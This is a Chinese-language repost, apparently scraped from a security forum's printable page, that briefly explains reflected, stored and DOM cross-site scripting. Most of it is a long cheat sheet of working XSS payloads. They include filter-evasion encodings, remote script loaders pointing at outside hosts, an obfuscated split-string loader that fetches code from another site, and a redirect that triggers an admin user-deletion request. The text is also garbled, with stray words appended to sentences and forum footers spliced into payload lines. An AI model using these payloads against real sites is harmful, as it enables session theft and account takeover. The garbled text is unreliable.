XSS全稱是Cross Site Scripting即跨站腳本,當目標網站目標用戶瀏覽器渲染HTML文檔的過程當中,出現了不被預期的腳本指令並執行時,XSS就發生了。javascript
XSS有三類:反射型XSS(非持久型)、存儲型XSS(持久型)和DOM XSSphp
發出請求時,XSS代碼出如今URL中,做爲輸入提交到服務器端,服務器端解析後響應,XSS代碼隨響應內容一塊兒傳回給瀏覽器,最後瀏覽器解析執行XSS代碼。這個過程像一次反射,故叫反射型XSS。css
存儲型XSS和反射型XSS的差異僅在於,提交的代碼會存儲在服務器端(數據庫,內存,文件系統等),下次請求目標頁面時不用再提交XSS代碼html
最典型的例子是留言板XSS,用戶提交一條包含XSS代碼的留言存儲到數據庫,目標用戶查看留言板時,那些留言的內容會從數據庫查詢出來並顯示,瀏覽器發現有XSS代碼,就當作正常的HTML與Js解析執行,因而觸發了XSS攻擊。java
DOM XSS和反射型XSS、存儲型XSS的差異在於DOM XSS的代碼並不須要服務器參與,觸發XSS靠的是瀏覽器端的DOM解析,徹底是客戶端的事情。git
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
<IMG SRC=http://3w.org/XSS/xss.js/>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=jav..省略..S')>
<IMG SRC=jav..省略..S')>
<IMG SRC=java..省略..XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')">
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>
https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
<IMG SRC=" javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
<SCRIPT SRC=//3w.org/XSS/xss.js>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://3w.org/XSS.html <
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://3w.org/xss.css">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression_r(alert('XSS'));">
<IMG STYLE="xss:expression_r(alert('XSS'))">
<XSS STYLE="xss:expression_r(alert('XSS'))">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>
exppression(alert("XSS"))'>
<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);
<HTML xmlns:xss><?import namespace="xss" implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>
<SCRIPT SRC=""></SCRIPT>
<IMG SRC="http://www.a.com/a.php?a=b">
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>
https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>" SRC="http://3w.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>
<A HREF="http://127.0.0.1/">XSS</A>
<A HREF="http://3w.org">XSS</A>
<A HREF="http://3232235521″>XSS</A>
<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>
<A HREF="http://0300.0250.0000.0001″>XSS</A>
<A HREF="http://6 6.000146.0×7.147/"">XSS</A>
<A HREF="//www.google.com/">XSS</A>
<A HREF="http://google.com/">XSS</A>
<A HREF="http://www.google.com./">XSS</A>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
做者:睿睿熊 轉載連接:https://www.jianshu.com/p/36b3578a6629
邀請你一塊兒讀 Redis